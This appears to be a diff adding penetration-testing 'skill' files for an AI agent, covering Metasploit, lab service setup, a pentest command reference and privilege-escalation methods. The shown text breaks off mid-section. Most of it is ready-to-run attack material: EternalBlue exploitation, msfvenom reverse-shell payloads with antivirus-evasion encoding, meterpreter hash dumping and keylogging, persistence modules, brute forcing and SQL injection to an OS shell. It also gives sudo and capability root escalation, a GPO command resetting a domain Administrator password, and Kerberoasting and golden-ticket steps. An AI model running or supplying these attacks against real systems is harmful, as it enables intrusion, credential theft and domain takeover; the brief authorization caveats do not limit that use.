msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops
# 7. Evasion - Bypass security controls
msf6 > show evasion
```
### Phase 3: Searching for Modules
Find appropriate modules for targets:
```bash
# Search by name
msf6 > search eternalblue
# Search by CVE
msf6 > search cve:2017-0144
# Search by platform
msf6 > search platform:windows type:exploit
# Search by type and keyword
msf6 > search type:auxiliary smb
# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent
# Combined search
msf6 > search type:exploit platform:linux apache
# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
```
### Phase 4: Configuring Exploits
Set up an exploit for execution:
```bash
# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100
# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445
# View compatible payloads
msf6 exploit(...) > show payloads
# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
# View all options again to verify
msf6 exploit(...) > show options
# Check if target is vulnerable (if supported)
msf6 exploit(...) > check
# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
```
### Phase 5: Payload Types
Select appropriate payload for the situation:
```bash
# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp
# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell
# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
```
### Phase 6: Meterpreter Session
Work with Meterpreter post-exploitation:
```bash
# After successful exploitation, you get Meterpreter prompt
meterpreter >
# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\
# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]
# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs
# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >
# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
```
### Phase 7: Auxiliary Modules
Use auxiliary modules for reconnaissance:
```bash
# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run
# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
```
### Phase 8: Post-Exploitation Modules
Run post modules on active sessions:
```bash
# List sessions
msf6 > sessions -l
# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run
# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump
# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds
# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs
# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester
# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence
# Pivoting
post/multi/manage/autoroute
```
### Phase 9: Payload Generation with msfvenom
Create standalone payloads:
```bash
# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
# List available formats
msfvenom --list formats
# List available encoders
msfvenom --list encoders
```
### Phase 10: Setting Up Handlers
Configure listener for incoming connections:
```bash
# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
# The -j flag runs as background job
msf6 > jobs -l
# When payload executes on target, session opens
[*] Meterpreter session 1 opened
# Interact with session
msf6 > sessions -i 1
```
## Quick Reference
### Essential MSFConsole Commands
| Command | Description |
|---------|-------------|
| `search [term]` | Search for modules |
| `use [module]` | Select a module |
| `info` | Display module information |
| `show options` | Show configurable options |
| `set [OPT] [val]` | Set option value |
| `setg [OPT] [val]` | Set global option |
| `run` / `exploit` | Execute module |
| `check` | Verify target vulnerability |
| `back` | Deselect module |
| `sessions -l` | List active sessions |
| `sessions -i [N]` | Interact with session |
| `jobs -l` | List background jobs |
| `db_nmap` | Run nmap with database |
### Meterpreter Essential Commands
| Command | Description |
|---------|-------------|
| `sysinfo` | System information |
| `getuid` | Current user |
| `getsystem` | Attempt privilege escalation |
| `hashdump` | Dump password hashes |
| `shell` | Drop to system shell |
| `upload/download` | File transfer |
| `screenshot` | Capture screen |
| `keyscan_start` | Start keylogger |
| `migrate [PID]` | Move to another process |
| `background` | Background session |
| `portfwd` | Port forwarding |
### Common Exploit Modules
```bash
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac
# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec
# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console
```
## Constraints and Limitations
### Legal Requirements
- Only use on systems you own or have written authorization to test
- Document all testing activities
- Follow rules of engagement
- Report all findings to appropriate parties
### Technical Limitations
- Modern AV/EDR may detect Metasploit payloads
- Some exploits require specific target configurations
- Firewall rules may block reverse connections
- Not all exploits work on all target versions
### Operational Security
- Use encrypted channels (reverse_https) when possible
- Clean up artifacts after testing
- Avoid detection by monitoring systems
- Limit post-exploitation to agreed scope
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |
| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |

339
skills/network-101/SKILL.md Normal file
View File

@@ -0,0 +1,339 @@
---
name: Network 101
description: This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs.
---
# Network 101
## Purpose
Configure and test common network services (HTTP, HTTPS, SNMP, SMB) for penetration testing lab environments. Enable hands-on practice with service enumeration, log analysis, and security testing against properly configured target systems.
## Inputs/Prerequisites
- Windows Server or Linux system for hosting services
- Kali Linux or similar for testing
- Administrative access to target system
- Basic networking knowledge (IP addressing, ports)
- Firewall access for port configuration
## Outputs/Deliverables
- Configured HTTP/HTTPS web server
- SNMP service with accessible communities
- SMB file shares with various permission levels
- Captured logs for analysis
- Documented enumeration results
## Core Workflow
### 1. Configure HTTP Server (Port 80)
Set up a basic HTTP web server for testing:
**Windows IIS Setup:**
1. Open IIS Manager (Internet Information Services)
2. Right-click Sites → Add Website
3. Configure site name and physical path
4. Bind to IP address and port 80
**Linux Apache Setup:**
```bash
# Install Apache
sudo apt update && sudo apt install apache2
# Start service
sudo systemctl start apache2
sudo systemctl enable apache2
# Create test page
echo "<html><body><h1>Test Page</h1></body></html>" | sudo tee /var/www/html/index.html
# Verify service
curl http://localhost
```
**Configure Firewall for HTTP:**
```bash
# Linux (UFW)
sudo ufw allow 80/tcp
# Windows PowerShell
New-NetFirewallRule -DisplayName "HTTP" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow
```
### 2. Configure HTTPS Server (Port 443)
Set up secure HTTPS with SSL/TLS:
**Generate Self-Signed Certificate:**
```bash
# Linux - Generate certificate
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/private/apache-selfsigned.key \
-out /etc/ssl/certs/apache-selfsigned.crt
# Enable SSL module
sudo a2enmod ssl
sudo systemctl restart apache2
```
**Configure Apache for HTTPS:**
```bash
# Edit SSL virtual host
sudo nano /etc/apache2/sites-available/default-ssl.conf
# Enable site
sudo a2ensite default-ssl
sudo systemctl reload apache2
```
**Verify HTTPS Setup:**
```bash
# Check port 443 is open
nmap -p 443 192.168.1.1
# Test SSL connection
openssl s_client -connect 192.168.1.1:443
# Check certificate
curl -kv https://192.168.1.1
```
### 3. Configure SNMP Service (Port 161)
Set up SNMP for enumeration practice:
**Linux SNMP Setup:**
```bash
# Install SNMP daemon
sudo apt install snmpd snmp
# Configure community strings
sudo nano /etc/snmp/snmpd.conf
# Add these lines:
# rocommunity public
# rwcommunity private
# Restart service
sudo systemctl restart snmpd
```
**Windows SNMP Setup:**
1. Open Server Manager → Add Features
2. Select SNMP Service
3. Configure community strings in Services → SNMP Service → Properties
**SNMP Enumeration Commands:**
```bash
# Basic SNMP walk
snmpwalk -c public -v1 192.168.1.1
# Enumerate system info
snmpwalk -c public -v1 192.168.1.1 1.3.6.1.2.1.1
# Get running processes
snmpwalk -c public -v1 192.168.1.1 1.3.6.1.2.1.25.4.2.1.2
# SNMP check tool
snmp-check 192.168.1.1 -c public
# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1
```
### 4. Configure SMB Service (Port 445)
Set up SMB file shares for enumeration:
**Windows SMB Share:**
1. Create folder to share
2. Right-click → Properties → Sharing → Advanced Sharing
3. Enable sharing and set permissions
4. Configure NTFS permissions
**Linux Samba Setup:**
```bash
# Install Samba
sudo apt install samba
# Create share directory
sudo mkdir -p /srv/samba/share
sudo chmod 777 /srv/samba/share
# Configure Samba
sudo nano /etc/samba/smb.conf
# Add share:
# [public]
# path = /srv/samba/share
# browsable = yes
# guest ok = yes
# read only = no
# Restart service
sudo systemctl restart smbd
```
**SMB Enumeration Commands:**
```bash
# List shares anonymously
smbclient -L //192.168.1.1 -N
# Connect to share
smbclient //192.168.1.1/share -N
# Enumerate with smbmap
smbmap -H 192.168.1.1
# Full enumeration
enum4linux -a 192.168.1.1
# Check for vulnerabilities
nmap --script smb-vuln* 192.168.1.1
```
### 5. Analyze Service Logs
Review logs for security analysis:
**HTTP/HTTPS Logs:**
```bash
# Apache access log
sudo tail -f /var/log/apache2/access.log
# Apache error log
sudo tail -f /var/log/apache2/error.log
# Windows IIS logs
# Location: C:\inetpub\logs\LogFiles\W3SVC1\
```
**Parse Log for Credentials:**
```bash
# Search for POST requests
grep "POST" /var/log/apache2/access.log
# Extract user agents
awk '{print $12}' /var/log/apache2/access.log | sort | uniq -c
```
## Quick Reference
### Essential Ports
| Service | Port | Protocol |
|---------|------|----------|
| HTTP | 80 | TCP |
| HTTPS | 443 | TCP |
| SNMP | 161 | UDP |
| SMB | 445 | TCP |
| NetBIOS | 137-139 | TCP/UDP |
### Service Verification Commands
```bash
# Check HTTP
curl -I http://target
# Check HTTPS
curl -kI https://target
# Check SNMP
snmpwalk -c public -v1 target
# Check SMB
smbclient -L //target -N
```
### Common Enumeration Tools
| Tool | Purpose |
|------|---------|
| nmap | Port scanning and scripts |
| nikto | Web vulnerability scanning |
| snmpwalk | SNMP enumeration |
| enum4linux | SMB/NetBIOS enumeration |
| smbclient | SMB connection |
| gobuster | Directory brute forcing |
## Constraints
- Self-signed certificates trigger browser warnings
- SNMP v1/v2c communities transmit in cleartext
- Anonymous SMB access is often disabled by default
- Firewall rules must allow inbound connections
- Lab environments should be isolated from production
## Examples
### Example 1: Complete HTTP Lab Setup
```bash
# Install and configure
sudo apt install apache2
sudo systemctl start apache2
# Create login page
cat << 'EOF' | sudo tee /var/www/html/login.html
<html>
<body>
<form method="POST" action="login.php">
Username: <input type="text" name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</body>
</html>
EOF
# Allow through firewall
sudo ufw allow 80/tcp
```
### Example 2: SNMP Testing Setup
```bash
# Quick SNMP configuration
sudo apt install snmpd
echo "rocommunity public" | sudo tee -a /etc/snmp/snmpd.conf
sudo systemctl restart snmpd
# Test enumeration
snmpwalk -c public -v1 localhost
```
### Example 3: SMB Anonymous Access
```bash
# Configure anonymous share
sudo apt install samba
sudo mkdir /srv/samba/anonymous
sudo chmod 777 /srv/samba/anonymous
# Test access
smbclient //localhost/anonymous -N
```
## Troubleshooting
| Issue | Solution |
|-------|----------|
| Port not accessible | Check firewall rules (ufw, iptables, Windows Firewall) |
| Service not starting | Check logs with `journalctl -u service-name` |
| SNMP timeout | Verify UDP 161 is open, check community string |
| SMB access denied | Verify share permissions and user credentials |
| HTTPS certificate error | Accept self-signed cert or add to trusted store |
| Cannot connect remotely | Bind service to 0.0.0.0 instead of localhost |

View File

@@ -0,0 +1,435 @@
---
name: Pentest Commands
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
---
# Pentest Commands
## Purpose
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
## Inputs/Prerequisites
- Kali Linux or penetration testing distribution
- Target IP addresses with authorization
- Wordlists for brute forcing
- Network access to target systems
- Basic understanding of tool syntax
## Outputs/Deliverables
- Network enumeration results
- Identified vulnerabilities
- Exploitation payloads
- Cracked credentials
- Web vulnerability findings
## Core Workflow
### 1. Nmap Commands
**Host Discovery:**
```bash
# Ping sweep
nmap -sP 192.168.1.0/24
# List IPs without scanning
nmap -sL 192.168.1.0/24
# Ping scan (host discovery)
nmap -sn 192.168.1.0/24
```
**Port Scanning:**
```bash
# TCP SYN scan (stealth)
nmap -sS 192.168.1.1
# Full TCP connect scan
nmap -sT 192.168.1.1
# UDP scan
nmap -sU 192.168.1.1
# All ports (1-65535)
nmap -p- 192.168.1.1
# Specific ports
nmap -p 22,80,443 192.168.1.1
```
**Service Detection:**
```bash
# Service versions
nmap -sV 192.168.1.1
# OS detection
nmap -O 192.168.1.1
# Comprehensive scan
nmap -A 192.168.1.1
# Skip host discovery
nmap -Pn 192.168.1.1
```
**NSE Scripts:**
```bash
# Vulnerability scan
nmap --script vuln 192.168.1.1
# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1
# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1
# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1
# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1
# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1
# FTP anonymous
nmap --script ftp-anon 192.168.1.1
# DNS brute force
nmap --script dns-brute 192.168.1.1
# HTTP methods
nmap -p80 --script http-methods 192.168.1.1
# HTTP headers
nmap -p80 --script http-headers 192.168.1.1
# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1
```
**Advanced Scans:**
```bash
# Xmas scan
nmap -sX 192.168.1.1
# ACK scan (firewall detection)
nmap -sA 192.168.1.1
# Window scan
nmap -sW 192.168.1.1
# Traceroute
nmap --traceroute 192.168.1.1
```
### 2. Metasploit Commands
**Basic Usage:**
```bash
# Launch Metasploit
msfconsole
# Search for exploits
search type:exploit name:smb
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
# Show options
show options
# Set target
set RHOST 192.168.1.1
# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp
# Run exploit
exploit
```
**Common Exploits:**
```bash
# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
```
**Scanners:**
```bash
# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
```
**Handler Setup:**
```bash
# Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
```
**Payload Generation (msfvenom):**
```bash
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
```
### 3. Nikto Commands
```bash
# Basic scan
nikto -h http://192.168.1.1
# Comprehensive scan
nikto -h http://192.168.1.1 -C all
# Output to file
nikto -h http://192.168.1.1 -output report.html
# Plugin-based scans
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
# Export to Metasploit
nikto -h http://192.168.1.1 -Format msf+
# Specific tuning
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
```
### 4. SQLMap Commands
```bash
# Basic injection test
sqlmap -u "http://192.168.1.1/page?id=1"
# Enumerate databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
# Enumerate tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
# Dump table
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
# OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
# POST request
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
# Cookie injection
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
# Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
# Risk and level
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
```
### 5. Hydra Commands
```bash
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# HTTP Basic Auth
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
# SMB brute force
hydra -l admin -P passwords.txt smb://192.168.1.1
# RDP brute force
hydra -l admin -P passwords.txt rdp://192.168.1.1
# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.1
# Username list
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
```
### 6. John the Ripper Commands
```bash
# Crack password file
john hash.txt
# Specify wordlist
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Show cracked passwords
john hash.txt --show
# Specify format
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt
# SSH key passphrase
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# ZIP password
zip2john file.zip > zip_hash.txt
john zip_hash.txt
```
### 7. Aircrack-ng Commands
```bash
# Monitor mode
airmon-ng start wlan0
# Capture packets
airodump-ng wlan0mon
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Deauth attack
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
```
### 8. Wireshark/Tshark Commands
```bash
# Capture traffic
tshark -i eth0 -w capture.pcap
# Read capture file
tshark -r capture.pcap
# Filter by protocol
tshark -r capture.pcap -Y "http"
# Filter by IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
# Extract HTTP data
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
```
## Quick Reference
### Common Port Scans
```bash
# Quick scan
nmap -F 192.168.1.1
# Full comprehensive
nmap -sV -sC -A -p- 192.168.1.1
# Fast with version
nmap -sV -T4 192.168.1.1
```
### Password Hash Types
| Mode | Type |
|------|------|
| 0 | MD5 |
| 100 | SHA1 |
| 1000 | NTLM |
| 1800 | sha512crypt |
| 3200 | bcrypt |
| 13100 | Kerberoast |
## Constraints
- Always have written authorization
- Some scans are noisy and detectable
- Brute forcing may lock accounts
- Rate limiting affects tools
## Examples
### Example 1: Quick Vulnerability Scan
```bash
nmap -sV --script vuln 192.168.1.1
```
### Example 2: Web App Test
```bash
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
```
## Troubleshooting
| Issue | Solution |
|-------|----------|
| Scan too slow | Increase timing (-T4, -T5) |
| Ports filtered | Try different scan types |
| Exploit fails | Check target version compatibility |
| Passwords not cracking | Try larger wordlists, rules |

View File

@@ -0,0 +1,330 @@
---
name: Privilege Escalation Methods
description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
---
# Privilege Escalation Methods
## Purpose
Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
## Inputs/Prerequisites
- Initial low-privilege shell access on target system
- Kali Linux or penetration testing distribution
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
- Understanding of Windows/Linux privilege models
- For AD attacks: Domain user credentials and network access to DC
## Outputs/Deliverables
- Root or Administrator shell access
- Extracted credentials and hashes
- Persistent access mechanisms
- Domain compromise (for AD environments)
---
## Core Techniques
### Linux Privilege Escalation
#### 1. Abusing Sudo Binaries
Exploit misconfigured sudo permissions using GTFOBins techniques:
```bash
# Check sudo permissions
sudo -l
# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts # then type: !bash
sudo man man # then type: !bash
sudo env /bin/bash
```
#### 2. Abusing Scheduled Tasks (Cron)
```bash
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab
# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
# Wait for execution, then:
/bin/bash -p
```
#### 3. Abusing Capabilities
```bash
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
```
#### 4. NFS Root Squashing
```bash
# Check for NFS shares
showmount -e <victim_ip>
# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
```
#### 5. MySQL Running as Root
```bash
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
```
---
### Windows Privilege Escalation
#### 1. Token Impersonation
```powershell
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
```
#### 2. Service Abuse
```powershell
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
```
#### 3. Abusing SeBackupPrivilege
```powershell
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
```
#### 4. Abusing SeLoadDriverPrivilege
```powershell
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
```
#### 5. Abusing GPO
```powershell
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
--Author DOMAIN\<USER> --Command "cmd.exe" `
--Arguments "/c net user Administrator Password!@# /domain" `
--GPOName "ADDITIONAL DC CONFIGURATION"
```
---
### Active Directory Attacks
#### 1. Kerberoasting
```bash
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
```
#### 2. AS-REP Roasting
```powershell
.\Rubeus.exe asreproast
```
#### 3. Golden Ticket
```powershell
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
# Create golden ticket
